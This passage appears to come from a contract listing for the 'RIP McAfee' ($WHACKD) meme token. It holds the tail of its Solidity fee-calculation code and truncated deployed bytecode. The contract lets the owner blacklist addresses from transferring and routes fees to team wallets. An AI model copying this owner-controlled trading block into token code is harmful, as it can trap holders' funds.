{} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f524950204d634166656500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f24574841434b44efb88f00000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646